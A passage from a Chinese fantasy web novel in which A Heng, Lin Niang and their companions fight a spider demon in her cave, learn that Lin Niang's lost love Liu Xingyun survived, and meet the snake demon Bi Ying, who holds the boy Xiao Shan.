那团红雾还在四处纵火,原本落于周遭的点点冷光惊慌失措地飞浮起来,聚拢到蛛女身边,先显现出一只只蜘蛛的轮廓,又尽数化成道道人形,她们围在蛛女身边,衫裙各色,乌发云鬓,宝饰晶莹。 “姐姐,姐姐……” 她们七嘴八舌,惶然地喊着,声音层叠,竟似声声鹂鸣,清脆悦耳。 “住手!”蛛女拨开她们,眼见火光重重,几乎要吞没雕梁彩画,她崩溃大叫,“你给老娘住手!” 她修长白皙的手指一挽,金黄的蛛丝像被绣花针挑动,随她手指曲张而缕缕缠向红雾,蛛丝像在绢布上刺绣一般,灵巧非常,对那红雾围追堵截,眼见四方出路被蛛丝截断,蛛女立即一握掌心,层层丝线顿时迅速收拢,势要将那红雾包裹其中。 此时,甬道那头一根银尾法绳破空飞来,穿过层层蛛丝,绽开寸寸银鳞,红雾立即顺着银鳞的缝隙逃出牢笼,趁蛛女反应不及,扑向蛛女,熊熊烈焰燃烧起来,那些小蜘蛛精们连通蛛女全部围困其中,灼热的气流迎面扑来,蛛女猛然被掼倒在地,她瞪大一双眼睛,赤红的光影闪烁,裙袂之下白毛蛛的肢节索隐若现。 小蜘蛛精们在尖叫,蛛女觉得自己的被炙烤得很烫,但忽然一阵冷风拂来,她仍旧听不懂那风音,却注视着面前幽幽浮动的红雾,痛心疾首:“老娘花了百来年精心造出的洞府,哪一处不比人类的园子雅致,如今却被你这怪东西毁了……” 红雾缓缓浮动,蛛女只觉得自己双肩剧痛,她引颈呻吟,鬓边的流苏珠饰在地面碰出声响,她终于察觉到这红雾似乎是在威胁她什么,蛛女杏眼中犹带十分的不甘,却还是转过脸望向那被瘴烟淹没的甬道,手指一勾,一根黄金缕自甬道飞来,浸入她的指尖。 很快,甬道那端响起步履声,那身穿靛蓝锦衣的少年穿过烟瘴而来,一个抬手,与金丝蛛网纠缠的银尾法绳迅速回到他手中,那金丝蛛网褪去锋利,尽数回到蛛女身上。 “你掳走的那两个人呢?” 那少年走近,银发如缎,发带飘飘。 蛛女见小蜘蛛们被围困在烈火之中,心中再不甘,也只得如实说道:“我方才是骗你们的,我根本没吃他们!” 此时,积玉扶着那清风观道人匆匆跑来,一见蛛女,便质问:“你这蛛丝为何独独松开了我?快将他也放了!” 那清风观道人身上仍缠着一根黄金缕,那蛛丝紧紧束缚他的身躯,使得他断了臂膀的那一边被蛛丝缠得血肉模糊,他痛得浑身止不住地颤抖。 蛛女瞥他一眼,却冷冷一笑:“惹上你们,是我今日运道不济,你们要找的人,我却只能还你们一个。” “你什么意思?” 积玉皱起眉。 “意思是,我可以把那个人还给你们,至于另外一个,却不在我这里。” 蛛女说道。 积玉根本不信,厉声说道:“鬼话连篇!他们两个明明都是被你掳走的,你却说只有一个在你这里?” “你们若是不信,大可以翻遍我这洞府,看看是不是只有一个。” 蛛女说着,目光再度落到那清风观道人身上,那道人一对上她的目光,简直肝胆俱寒,蛛女看出他的恐惧,不由笑出声:“你们找到要找的人便走吧,至于这个人,真不好意思,不论你们说什么,我都是不会放了他的。” “妖孽!你可看清你如今的处境?你竟还要害人?” 积玉斥道。 “怎么?” 蛛女蓦地看向他:“只准你们人类杀妖,却不许妖杀人吗?” 蛛女的神情太过阴冷锋利,积玉却并不露分毫惧色:“你难道杀得少了吗?你最好闻闻你身上的浊气,你的妖丹一定黑得不能再黑了吧?” 蛛女哈哈大笑:“是,你说得是啊……我不但杀人,还吃人呢,你们要杀我便杀,不杀便滚,总之,这道士我是不会放的……” 话还没说完,却觉灼热的气流逼近她的腹部,蛛女一下变了脸色,她瞪起眼睛:“哎你做什么?我都说了!我没吃他们两个!” 红雾几乎贴近她腹部,闪烁的金电锋芒无限,好像顷刻间便能扒开她的皮肉,袒露她的五脏。 “阿姮!” 此时,林荫尽头,一片曲折连绵的回廊上,急促的步履声越来越近,积玉抬起头,只见廊庑中一紫衣女子提裙奔来,她跑动之间,珍珠云肩流苏晃动,很快,她近了,积玉精神一振,忙唤:“霖娘!” 在霖娘身后,还有几个绿衫挽髻的少女,她们见到连绵的火光,吓得浑身僵硬,又看见蛛女被一团红雾压制着,不由连声喊“姐姐”。 “阿姮住手!” 霖娘停在石阶下。 红雾果然凝滞。 “你没事?” 霖娘听到一阵风音,她从中辨出阿姮的声音。 这是阿姮与她之间最奇妙的连结,阿姮失去壳子,便没有人可以听到她的声音,只有霖娘。 “我没事,”霖娘眼眶有点热,“我只是被关起来了,方才那地方忽然禁制全无,我这才跑了出来。” 蛛女被压制,她的禁制自然失效,阿姮只见霖娘一人,便问:“那小崽子呢?” 霖娘摇头:“不知道,我被抓来这里,便没见到过小山,好像……好像我们两个在那阵风雾里便已经失散了。” 其他人根本听不见阿姮的声音,只见霖娘自说自话似的,那蛛女更是一脸惊异,又见霖娘抬起双手,喊道:“不行!你别杀她!” “阿姮,我有话要问她。” 霖娘又说。 程净竹并起双指,口中默念了几声,袖中水流飞出,泛着点点银光,倾刻笼罩,缠绕住那团浮动的红雾。 莹澈的光影流转,很快凝出一道身影,蛛女眼见那影子逐渐肌骨丰盈,乌浓的发髻,艳丽的五官,脚上绣鞋绯红,一脚正踩在蛛女的心口,而她那双暗红的眼眸却越过廊下火光,笑盈盈地看向那锦衣少年。 蛛女目瞪口呆。 霖娘此时飞快地跑上阶去,站定在阿姮身边,注视着蛛女:“我听那几个小蜘蛛精说,你们都见过我的画像,都知道我,为什么?明明我并不认识你们。” 阿姮闻言,不由低眸看向蛛女。 蛛女幽幽盯住霖娘,却一言不发,阿姮脚上用了些力:“喂,我把这些小蜘蛛精烤熟了喂给你吃,如何?” 蛛女脸上扭曲一瞬:“变态!” “你吃人就不变态了?” 阿姮双手抱臂。 蛛女撇过脸,好一会儿才稳住心神,对霖娘道:“你我的确素不相识,无论你信或不信,我请你来,只是想见一见你。” “你那是请?” 积玉忍不住说道。 “不用那样的手段,我又该如何相见?”蛛女倒是理直气壮,“外面的阵法一遇阳火最盛之时,便最是厉害,我是不能出去的。” “你为什么想见我?” 霖娘问道。 蛛女抬眸,对上霖娘疑惑的目光,她缓缓一笑:“有一个人对你念念不忘,我很好奇,你到底有什么好,这件事困扰我许久,想不到有朝一日竟然真的见到你。” “对我……念念不忘?” 霖娘更觉她这番话实在云山雾罩,令人难以理解:“你可知我从哪里来?怎会有人对我念念不忘?” “知道。” 蛛女语气淡淡:“赤戎嘛。” 此话一出,几人皆惊,便连程净竹眼中都流露出些诧异,霖娘则像是愣住了,阿姮将蛛女重新审视一番,问道:“你如何知道赤戎?” 正是此时,蛛女扭头发现连绵的火光竟然消散了,她的廊亭朱阁,花草树木并未完全烧毁,那些小蜘蛛精们全都毫发无损,化为点点冷光,回到她发间的银香囊中,蛛女一怔,立即意识到,这妖邪收手,是为了让她对赵霖娘说实话。 蛛女看向霖娘,说道: “我曾认识一个人,那人从赤戎来,姓柳,名行云。”《 》 65-70 第66章 第66章 “不许想。” 阴冷的风拂过萧疏花木, 沙沙作响,霖娘立于风口,因为一路跑出来而松散的发髻此时更被风吹得凌乱,她瞳孔震颤, 几乎不敢相信自己所听到的, 那是一个人的名字, 一个她永远也不会忘记的名字。 “柳……行云?” 她声音发颤。 “昔我往矣,杨柳依依。” 那蛛女忽然张口,歌喉婉转, 声音很轻, “今我来思, 雨雪霏霏。行道迟迟, 载渴载饥。我心伤悲……莫知我哀……” 霖娘一下攥起双拳来。 蛛女妖异的眸子里含着笑,注视着她:“我听他说, 这是你们人类的诗经, 此篇叫做《采薇》,怎么样?我唱得好听吗?可惜你们的诗经太拗口, 我只记住这几句。” 阿姮望着霖娘, 霖娘像是呆住了, 眼眶悄然红透, 冷风拂来, 烟尘漫漫,阿姮听见霖娘呢喃了声:“是他……” “是他!” 霖娘陡然变得激动起来:“《采薇》是他念给我听的,这曲子, 是我胡乱编给他听的……他却,他却记了下来……” “我说呢。” 蛛女眼底的笑意黯淡下来:“我不是没听过你们人类的曲子,这么难听的曲调, 若真是出自什么大家之手,也是自砸招牌的东西。” “他没有死……他真的没有死吗?” 霖娘几乎以为自己是在做梦,她的眼眶很快盈满泪水:“可我明明听那泥妖说,说他和我叔叔……” 阿姮收回踩在蛛女身上的脚,说道:“当初泥妖只说他们一动不动,像是死了,可他并没有追赶上他们,也就是说,那很有可能只是他的以为。” 程净竹对霖娘道:“你叔叔赵世勇亦是土地血脉,有他在,柳行云的确有逃出生天的可能。” 霖娘积忙问蛛女:“你究竟是如何识得他的?” 蛛女慢慢悠悠地坐起身,纤细的手指掸了掸胸口的鞋印,却根本掸不掉,她眉眼隐含怒气,却碍于阿姮就在旁边盯着她,只得不情不愿地说道:“我在这岐山之中修行,鲜少入世,那是一年前,他孤身一人来到岐山,说是来采药的,岐山的确有不少的好药,但此山险峻非常,像他这样不畏险阻,还能平安抵达的,简直屈指可数……” 蛛女一手撑在地板上,回想起来:“那天我见到他的时候,他已经受伤了,也不知是在哪儿摔的,肋骨断了几根,脚也瘸了一只,这人却像根本不怕疼似的,生生捱了很久,我把他抓回我的洞府,他明明怕得要死,嘴却很硬。” 说到这儿,蛛女看向霖娘:“我关你的那间屋子也关过他,那段时间,他自己给自己治伤,因为他那个人看起来总是温温柔柔的,长得好,说话声音也好听,又很有礼数,所以我的小蜘蛛们便私自放了他,但他得了自由,却仍然不肯下山,他自己搭了个草庐,每天采药,治药,好像从来都不会累。” 蛛女的眸子垂下去:“但后来我知道,他不是不会累,是他的心里装着很多很多的人,他说,他从一个叫赤戎的地方来,在那个地方,有很多的人被一种叫做青骨病的病症折磨,他说他出来,就是为了找到救他们的办法,他不敢歇,不能歇。” “什么赤戎,什么青骨病,我都没听说过,我也不在乎他到底是为了什么来,我只在乎他那副好皮囊,我实在是喜欢极了……”蛛女摸了摸自己的脸,十分自得,“我蛛女自化形之始,便是这岐山之中最美的妖精,要什么样的男人我会得不到?” “不可能!” 霖娘抹了一把眼泪。 蛛女睨着她,红唇微勾:“怎么就不可能了?男人都一样,色欲才是他们永恒不变的本心。” “我说不可能就是不可能!” 霖娘眼睛红红的:“他最怕蜘蛛了!从小到大,他看到蜘蛛就浑身僵硬,每回都是我帮他踩死的!” 蛛女唇边的笑意一下僵住了:“……” 她鬓边银香囊中的冷光明明灭灭,映照她妖异美丽的面容,她盯着霖娘,神情十分不善,语气也阴冷:“他离开的前一晚,我的小蜘蛛们发现他随身有一幅画像,她们将它偷了来给我,他追到这儿来,让我把东西还给他,我以此为要挟,让他告诉我画上的女子是他的谁,他说她姓赵,叫霖娘,甘霖的霖,是他最愧对的人。” “愧对。” 蛛女揉捻着这两个字:“我那时才明白,他一个人常常哼的曲调,为什么总是那么的悲哀,因为他对一个人有爱,所以对那个人有愧,所以思之念之,总挂心怀。” 阿姮听着这番话,目光在蛛女脸上流转,她说她喜欢柳行云的皮囊,可她沉沉的神情却让阿姮觉得,她似乎并不只是为了一副好皮囊。 她说的因为爱,所以愧,又是什么意思? 蛛女是望着霖娘的。 而那副目光之中,有一种尖锐的东西。 阿姮读不懂。 但霖娘却读懂了,那是一种不甘的嫉恨。 《采薇》,是柳郎离乡背井,归期难知的哀思,是他总挂心中的,对她的愧疚,可他要救村人,要救她的爹爹,他不知道自己要到什么才可以找到治青骨病的办法,但他没有退路,他要一直找,一直找下去。 曰归,曰归,心亦忧止。 曰归,曰归,岁亦阳止。 忧心孔疚,我行不来。 他不知道要找到哪一天,也不知道什么时候才可以回到赤戎,所以愧对,所以难捱。 霖娘不知不觉泪湿满脸,她望着蛛女,声音难掩哽咽:“你知道他……去哪儿了吗?” 蛛女冷然的神情触及霖娘那双湿润眼眸中那样小心翼翼的期盼,仿佛蛛女便是她全部的希望,蛛女抿唇,撇过脸去:“我那日出尔反尔,没有还给他画像,他气冲冲的就走了,再也没回来过,我怎么会知道他去了哪儿?” 积玉虽从没听霖娘说起过这个柳行云的事,但如今见霖娘这般情态,他心中已经了然,霖娘与柳行云必然关系匪浅,他上前安慰道:“霖娘,他没有死,那就是一件天大的好事,你想,他前脚来过岐山,我们后脚便也来了,这说明,你们之间的缘分是没有断的,你不要难过,你们一定可以再相见的!” “对……” 霖娘精神一振,她擦了擦泪,说:“你说得对,他还活着就是天大的好事,我还有很多的时间找他……” “人你们也救了,我知道的,也全都告诉你们了,”蛛女早不耐烦了,“现在,你们可以离开我的洞府了。” “我说了,将那小崽子交出来。” 阿姮双手抱臂,纹丝未动。 蛛女瞪她:“我说了,那小孩儿不在我手里!” “也许你说的是实话,” 程净竹开口,“但小山和赵姑娘一样,都是因为你的迷障而失踪的,就算小山不在你这里,你也一定知道他如今在何处。” 蛛女不由看向那锦衣少年,他看起来也很古怪,那样年轻的一副面容,可谓神观若雪,却发若银灰,腰间那根银尾法绳实在雪亮耀眼,可若说他是个道士,他襟前又挂着一串水青色的宝珠,显然为佛家法器。 “你们能对付得了我,却不一定能对付得了她。” 蛛女微微一笑:“她可是惠山元君都觉得棘手的存在,若不是她,这岐山早被夷为平地了,我劝你们别再找那个小孩儿了,还是快些……逃命去吧。” “诸位,诸位……” 那道人似乎终于攒了些气力,勉强发出声音,积玉仍扶着他,只听他哑着声音道:“妖孽不通人性,那孩子若真落在碧瑛手中,必然难有全尸……这蛛女乃是她的爪牙,足有八百年的道行,我清风观八十一人俱被蛛食……” 道人说到这里,眼眶骤红,声音发抖,却并非因为惧,而因浓烈的恨:“她的话……绝不可尽信,说不定姑娘你的故人早已是她盘中之餐!” 这最后一句话,道人是对霖娘说的。 霖娘看到道人被蛀光血肉的一条手臂,想起方才见到的洞顶之上,被蛛丝紧紧缠绕的一张张狰狞面孔,一具具白骨尸骸,她猛然盯住蛛女。 蛛女却忽然大笑,笑得花枝乱颤,一双妖异的眼睛更加水盈盈的,她翘起手指扶了扶鬓发,好似嗔怪:“观主果真好道行,被我的小蜘蛛们咬成这样,还能留得几分力气来当众揭人家的底……早知道,我便先让她们咬掉你的舌头了。” 她鬓边的银蛛钗流苏晃动,小小的银香囊碰撞着发出声响,她那双媚丽欲滴的眼盯着那清风观主,却是十分的阴冷:“我本来只是想见一见你的,赵霖娘。” 她的目光忽而落在霖娘身上:“但你的这些朋友太难缠了,我给过你们机会,既然不肯走,那就……都留下来好了!” 话音落,烟瘴起。 阿姮见蛛女的身影瞬间模糊,很快,不远处小石潭边,那凉亭中纱幔飞扬,女子身姿袅娜,端坐白毛巨蛛之上,她挽指化出四根金黄蛛丝,一把紫檀木琵琶凭空乍现,蛛丝成弦,那琵琶上螺钿含光,乃是一幅美人扑蝶图。 蛛女白皙纤细的手指轻拨丝弦,落珠之声铮铮,连珠成串,竟是那首《采薇》,原本拙朴的曲调经由她妙手拨弄,竟然韵律无穷。 只是美妙的乐音落于众人耳中,却好似成了根根尖针,刺痛着众人的耳膜,积玉勉强稳住心神,却见那清风观主耳里已流出血来,他立即并起双指结印,想要封住观主的听觉,却发现根本无用,他也被这乐声刺得头晕目眩,忙喊道:“小师叔!这可怎么办!” 这乐声与迷障正在悄然瓦解众人的心神,阿姮亦觉耳里生疼,但她身为妖邪,本就没有血肉,更不会因此受损,只不过是真难受,霖娘作为水鬼亦是如此,此时已站不住,一屁股坐到了地上,晕晕乎乎地连眼睛都快睁不开。 该死的白毛蛛,真会藏巧于拙! 阿姮晃了晃脑袋,风雾中,芳香的血气隐隐约约,她不自觉吞咽一下,抬头便见程净竹连烧数道药箓,那些白符烧成寸寸火光,整个洞府里都弥漫着一股药香,这药香实在沁人心脾,也勉强维持住了几人的神志。 阿姮的目光落在他的耳廓,里面鲜红的血珠淌出来,她脸色一变。 “阿姮……” 程净竹抽出银尾法绳,方才张口,却又忽然一顿,他看着倾刻来到他面前,近在咫尺的少女,她手正紧紧捂住他的耳朵。 她掌心似乎有红雾,那雾冷冷的,像两团没有实质的棉花封住了他的耳,琵琶落珠般的乐声犹在,落来他耳边却显得有些渺远。 蛛女的乐声更加如泣如诉,她轻轻地哼着,抬眸看向不远处倒在地上,晕得直翻白眼的霖娘,她眼中满含疑惑,仿佛有很多的不解,最终,她轻声笑叹:“原来,他那么讨厌蜘蛛啊……” 阿姮发现自己的法子有用,眼睛一亮,紧接着,红雾飞向霖娘与积玉,萦绕于他们的耳廓,霖娘终于清醒了些,身躯却依旧绵软,而积玉头晕目眩,又吐了一回,此时耳心忽然冰凉,他好受了些,终于捡回些力气,发现是阿姮的红雾,他转过脸,发现观主耳里仍在不断地淌血,他连忙说道:“阿姮,还有这位观主!” 阿姮却瞥他一眼:“我凭什么管他?” 积玉一愣,接着他用双手捂住那观主的耳朵,正要再劝阿姮,却见她把脸转了过去,她像是迟疑了一瞬,没松开程净竹,而是踮脚凑过去问:“你的耳朵没有聋吧?” 因为她的雾气,她的声音落到他耳边显得有点远,程净竹拉下她的手,说:“没有。” 得到他的回答,阿姮点了点头,随后,她几乎与程净竹同时看向那亭中的蛛女,程净竹手持银尾法绳,阿姮手中则凝出万木春。 蛛女坐在白毛蛛上,衣袂霜白,她不断地拨弄着琵琶,垂眉低眼,蛛钗颤颤,弱柳扶风,好似一幅仕女图,她的双手不知何时已满手是血,血液顺着她纤瘦的手腕往下淌,沾湿了她的袖边,她却浑无所觉。 阿姮与程净竹同时飞身跃起,朝那花亭而去,纱幔被风雾拂开,露出那蛛女一张面无表情的脸,她手指灵动若蛇,乐声依旧动听,却锋芒更重,别人哼唱的乡音,在她指尖成了杀人的利刃,丝弦震动,飞出如有实质的寒光,程净竹的银尾法绳最先与之相触,发出铮然的鸣响,阿姮手中万木春焦黑的枝尖破开凛冽的气流,金电如织,缠裹红云烈焰,不断与蛛女拨出的光影碰撞。 积玉腾不出手,正凝神操控金剑腾空而起,要助小师叔与阿姮一臂之力,一首悲戚的乡曲却在蛛女指尖化出无尽凛冽的杀意,他耳心剧痛,神志溃散,金剑凝在空中,颤颤欲坠,阿姮塞到他们耳朵里的雾气也不顶用了,霖娘勉强抬头,手指结出印来,流水奔腾,携金剑而去,积玉见此,更加努力地凝神,稳住金剑,剑托流水,化出道道冰凌,攒矢若雨,齐发亭中。 阿姮与程净竹各自往一边闪开,冰箭飞扑蛛女而去,蛛女琵琶音停,身影骤然化去,转瞬落在花木之间,风雾袅袅,她双手指尖早已血肉模糊,血浸透丝弦,而她却很快又拨弄起琵琶,乐曲再起,阴风若刀,强吹向那清风观主,以及与他在一处的积玉。 那清风观主也不知哪里来的气力,一把推开积玉,他的耳朵似乎已经聋了,连自己的声音都听不见,只能用力地撕扯嗓子:“走!你们快走!快去找惠山元君!元君……元君法力无边,镇世间妖祟,救如是苦厄……” 凛风贯穿他整个身躯,一身血肉破碎的刹那,他的声音还在这洞府中回响:“凡世中妖孽,皆恶欲化身,或淫或私,或贪或妒,或虐或诈而无束,以至于罪业滔天,欲壑无边,当诛当灭!我道中人立足人世,除妖诛祟,永世无悔,弟子风存,永……敬……元……君。” “观主……” 积玉趴在地上,只见漫天血雾。 血雾之中,蛛女大笑:“哈哈哈哈哈哈恶欲?恶欲都是妖祟化身,那你们人类便不淫不私?不贪不妒?不虐不诈?罪业滔天?什么罪业?是你们人定的吗?这偌大一个世间凭什么你们人类说了算?老东西,如今让你死得这样轻易,真是便宜了你!” 脚上忽然被什么东西缠住,蛛女神情一凛,低头见那银尾法绳,她下意识地挣扎,那银尾却绽开锋利的鳞片,寸寸扎入她的血肉里。 那锦衣少年飞身跃来,法绳一挽,蛛女顿时稳不住身形,被拽得往后飞去,蛛女转头,只见金电刺目,一截焦黑的枯枝缠裹红云直逼她面门而来。 蛛女立即飞出蛛丝粘上嶙峋石壁,蛛丝收缩,她那张姣好的面容陡然扭曲,口中发出非人的尖啸,被银尾法绳嵌入血肉紧紧缠住的那条腿竟然断裂,血雾迸发的刹那,程净竹落地往后踉跄几步,只见法绳尾短银鳞仍然展开,锋利的鳞片浸透鲜血,将一条白毛蛛步足缠在其中。 那蛛女被蛛丝牵引到了石壁之上,她背靠石壁,一张脸惨白,裙袂之下,缺失的那条腿长了出来,但很显然,她双足大小并不一致,而她身上白毛巨蛛的影子闪烁着,那影子已然缺了一条步足。 她靠在雪白的蛛网上,抱住琵琶又要拨弦,一阵红雾却骤然在她面前凝出阿姮的身形,与此同时,程净竹袖中白符飞出,落去蛛女肩上,她指尖才抚上丝弦,却顿时僵硬发麻,正是此时,阿姮手握万木春,枝尖擦过金黄丝弦,紫檀木琵琶轰然碎裂。 丝弦一松,发出最后的悲鸣。 覆盖石壁的雪白蛛丝断裂,蛛女摔到地上,抬起头见那焦枝迎面而来,她仓皇挽出黄金缕,只听凛风阵阵,金电红云气流如炽,势不可挡地扑了过来,蛛女下意识紧闭双眼,却觉风止,而这洞府中,忽然变得十分死寂。 她睁开眼,发觉那古怪焦枝就嵌在她身侧的石缝之中,那裂缝蜿蜒如蛛网,朝四周不断地蔓延开来。 蛛女看向那少女。 此时,蛛女发间银香囊中冷光浮了出来,那些碎光似乎很害怕,怕得化不出人形,但都不约而同地像蝴蝶一样落到蛛女身上,星星点点交织成一副闪烁淡光的铠甲,可那铠甲看起来并不坚硬,但她们已经用了全部的力量来保护她。 程净竹见到这样一幕,又环视四周的花木:“洞府阴寒,按照常理,此处根本长不出如此蓊郁的花木,你有八百年道行,能借来日月之精,侍弄这些花草,甚至哺育这些幼蛛,本就十分难得,你通晓音律,一手琵琶技法堪比人间大家,你却用它来杀人?” 蛛女听见他这番话,目光缓缓从阿姮身上移开,眼皮垂下去,她这才发觉自己发间那朵硕大的白牡丹不知何时掉在了地上,她盯着那洁白的牡丹上,一层又一层的血污,随后,她笑了:“杀人怎么了?就像你们人类总认为这世上的妖孽都该杀干杀净一样,我们妖也想把你们都杀个干净……可恨的是,凡世之上,还有天,那可恶的天……” 蛛女抬头,却见漆黑的石壁,对,这里是看不见天的,看不见正好:“天上的那些神仙们和你们这些凡人一样恶心,明明人与妖都想将彼此赶尽杀绝,可那些神仙却永远都庇佑你们……人变成的神,永远都只为了人。” 蛛女说着,她再度望向阿姮,毫不掩饰她的疑惑:“你到底为什么和他们在一块儿呢?怪东西,你到底明不明白,这世上有三条绝路,一为人与神,二为人与鬼,三为人与妖,因为一开始就不同路,若硬挤到一条路上,最终都不会有好结果。” 阿姮“哦”了一声:“关你什么事?” “……” 蛛女一下被哽住了。 霖娘终于缓够了,恢复了些力气,她爬起来走到蛛女面前,说:“不对,你说得不对。” “哪里不对?” “妖与人是一样的。” 霖娘说。 “一样的?” 蛛女仿佛听到了什么天大的笑话,她指节屈起,沾血的白牡丹在她掌中被捏得粉碎:“你们人类为什么总是这样,你们说黑,便是黑,说白又是白,真可谓是变幻无穷尽!” 程净竹说道:“人不是生来便知礼法,有德行,是先有圣人传道,才有后人受教,在受教化之前,人也曾茹毛饮血,听凭一切欲望的摆布,后来有人先悟真理,再授百世,方成文明,有了文明,有了道德,所以人有了方向,才有了对己对人的约束,道德的产生,是为了更多的人向善,但这并不意味着人便没有了恶,妖因混沌之气分散而生,生来欲壑纵横,难通人情,但这并不意味着妖不可能通晓人情,也不意味着妖不会向善。” 蛛女却冷笑:“你们人类的文明?道德?我一个妖,为什么要用你们的东西来约束我?” “你不接受人类的文明吗?那你又为何要修这样一个洞府,还习得那一手炉火纯青的琵琶?” 积玉问道。 蛛女又哽住了。 她气得胸膛起伏,一时间却找不出反驳的话来。 “我其实没有读过很多书,”霖娘蹲下来,望着她说道,“但是我想,人类创造了文明,但文明却并不只属于人类,所以人和妖,是可以一样的。” “好烦,扯什么文明不文明?听不懂。” 阿姮眉头皱得死紧,显然已经很没耐心了:“臭蜘蛛,你最好告诉我那碧瑛在哪儿,否则,我就把那些小蜘蛛全都塞到你这只大的嘴里,串起来烤。” 蛛女闻言,脸色铁青:“你这个变态的怪东西,你这样就很不文明!” 霖娘忙对蛛女道:“你告诉我们吧,小山是我们的朋友,我们绝不可能丢下他不管的!” 蛛女却抿唇,不发一言。 阿姮脸色一沉,指节屈起,万木春骤然回到她手中,枝尖一拂,红云金电裹覆蛛女整个身躯,那些冷光在蛛女身上颤动,蛛女脸色大变:“住手!别伤她们!” 洞府中忽灌风雾,极浓极重,碧绿的烟气有一瞬熏得人眼睛都睁不开,那烟气很快化成一条碧绿的披帛将蛛女卷入浓雾之中。 阿姮立即追入雾中,却听一道女声响起:“诸位何必为难蛛女,她是绝不会背叛我的。” 阿姮遍寻不到那抹碧绿色彩,听见这声音,她冷声道:“在山中,便是你咬的我?” 程净竹追上阿姮,霖娘与积玉紧随其后,却见四周浓厚的雾气开始漫漫淡去,随即,霖娘面露愕然,因为她发现,他们几人此时竟然已不在蛛女的洞府之中了! 四周仍是黑乎乎的嶙峋石壁,但石壁上点缀有灯烛,透过水晶灯罩,散发点点光芒,在石壁之上,竟多如繁星,所以四下明亮,照见这一片嵌在阔达石洞中的园子,园中花木繁多,假山顽石无一不精,穿朱亭,过连廊,碧窗红栏杆,流水桥下过,水中荷叶田田,荷花如簇,淡淡的烟气缭绕,好似云中仙境。 对岸烟柳畔,有一女子立在那里。 霖娘看着她。 阿姮也盯着她。 那女子看起来很年轻,身穿水碧锦缎金花圆领袍,乌发秀髻,点缀几粒浑圆的珍珠,发髻后青碧的纱带随风而飘动,好似游弋的灵蛇,她眉很细,尾短飞扬,眼尾有一抹淡淡的青色,似乎还闪烁着细细的银光,像蛇粼,但却并不可怖,也不那么妖异,反而有种雨后天青的淡雅之美,她臂弯里搭着一把拂尘,风吹拂着她的裙袂,而她岿然不动,可谓风流秀曼。 “是我,却又不是。” 她张口,缓缓答了阿姮此前的疑问。 阿姮听这声音便笃定是她,她抓着万木春便要渡河过去好好打上一架,却被人拉住了手腕,阿姮回头,望见程净竹的脸。 阿姮臭着脸松了手,万木春化成金光,回到她发间开出鲜红的山茶。 对岸那碧瑛将这一幕尽收眼底,她望着那少女发髻间鲜艳的红山茶,微微一笑:“姑娘分明与我同道,却身怀如此神物,果然是位贵客。” 蛛女都没认出那根焦棍儿是什么神器,这碧瑛看了一眼,便什么都清楚了,也许这便是大妖的本事,但阿姮才不在乎这些,她单刀直入:“那小崽子呢?臭蜘蛛抓霖娘,是因为柳行云,那么你呢?你抓那个小崽子,是为了什么?” “这么直接啊,不喝口茶吗?” 碧瑛笑了笑。 阿姮面无表情地转过脸,对程净竹说道:“我想打她。” 程净竹自然知道,她仍惦记着那条碧蛇咬她一口的仇,他开口道:“你打不过她,即便加上我,还有积玉,赵姑娘都不可能打得赢。” 阿姮又不是个傻子,她当然知道那碧瑛身负几千年的道行,一点也不简单,但哪怕能咬她一口呢?她也得先咬了再说:“打不赢便不能打吗?如今我们都落到她的地盘上了,迟早是要打的,她不还来那小崽子,我们又何必听她废话?” “小姑娘年纪小,脾气也坏,她这样,小仙长你受得了吗?” 对岸,碧瑛的声音再度响起。 阿姮一下转过脸:“他就是受得了啊。” 她真的好理直气壮。 碧瑛隔岸观人,见那少年站在阿姮身边,并不说什么反驳的话,看了一眼她,随后抬眸看向碧瑛:“那个孩子呢?” “他的确在我这里。” 碧瑛痛快地承认。 “你把他怎么样了?快把他交出来!” 积玉立即说道。 霖娘亦紧紧盯住那碧瑛。 柳梢拂动,林中沙沙,碧瑛手中拂尘一挥,一阵烟雾弥漫,随后,一道小小的身影出现。 阿姮神光一动。 霖娘喊出了声:“小山!” 小山像是没明白自己怎么忽然换了地方,听见霖娘的声音,他一下抬起头,随后一双圆圆的眼睛亮起来:“霖娘姐姐!” 他看到阿姮,又忙喊:“阿姮姐姐!” 他蹦蹦跳跳地招手。 阿姮脸上却没什么表情。 “妖孽,快放了他!” 积玉喊道。 碧瑛始终云淡风轻,她看了一眼小山,随后笑了一下:“仙长误会了,我并没有强留他,是他自愿留下的。” 什么? 积玉眉头皱起来:“自愿?这怎么可能!” 霖娘更是不信,她连忙喊小山:“小山,你快过来!” 霖娘说着,便往桥上去,积玉一把将她拉住,他始终警惕地盯着那碧瑛:“你先别轻举妄动!” “霖娘姐姐!” 小山揪紧了衣角,喊了声,他又看向阿姮,抿了一下嘴唇,“阿姮姐姐,我……我是自己愿意留下来的,碧瑛婶婶没有把我怎么样,她还给我吃了很好吃的果子……” “哦,几个烂果子就让你乐不思蜀了?” 阿姮冷笑了一声:“江小山,你是个傻子吗?” 小山的脑袋耷拉下去,他有点不敢看阿姮,却说:“姐姐,你们还是离开这里吧,我知道,那个阵很厉害,会伤害你们,我不想你们为了我的事受到伤害,我自己可以的,小勤就在这里,我可以找到他,我一定可以……” “小山!你知不知道她是蛇妖!是惠山元君极力镇压的蛇妖!她给你灌了什么迷魂汤?你竟然觉得她可以帮你吗?” 积玉焦急地喊道。 “哥哥,姐姐……” 小山一步一步地往后退去,他望着对岸的他们:“你们走吧,都走吧。” 他抿紧嘴唇,转过去,头也不回地跑了。 跑向那片雕梁画栋。 “小山!小山!” 霖娘连声唤,可那个小小的背影,就是不肯回头了。 阿姮脸色阴沉,握紧了手。 碧瑛瞥了一眼小山逐渐模糊的背影,她再度看向对岸的几人,目光又在阿姮与程净竹之间来回,随后,说道:“我是蛇妖,身负几千年的道行,在岐山修行日久,也的确是那位惠山元君极力镇压的目标,这些你们都知道,但还有很多事,是你们不知道的。” “你想说什么?” 阿姮问道。 碧瑛却摇了摇头,道:“我说的话,对你们来说没有任何意义。” 程净竹一顿,对上她的目光。 岐山之上,金光大阵威压重重,一直守在山下的僧道们眼见着日头越来越盛,那阵法就要荡涤整座岐山,但一阵风来得很急,又很大。 没一会儿,众人只见乌云被吹了来,日光变得越来越黯淡,有道士扼腕:“如此紧要关头,这乌云怎么就来了呢!” “风雨有时也关乎天道,并不全由天上的神仙掌控,也不知道……这是个什么征兆!”有人忧心忡忡。 无晦子始终沉默,他凝视着那层覆盖着整个岐山的结界,一动不动。 那三真道长却上蹿下跳的,正为惠山元君的法阵而着急。 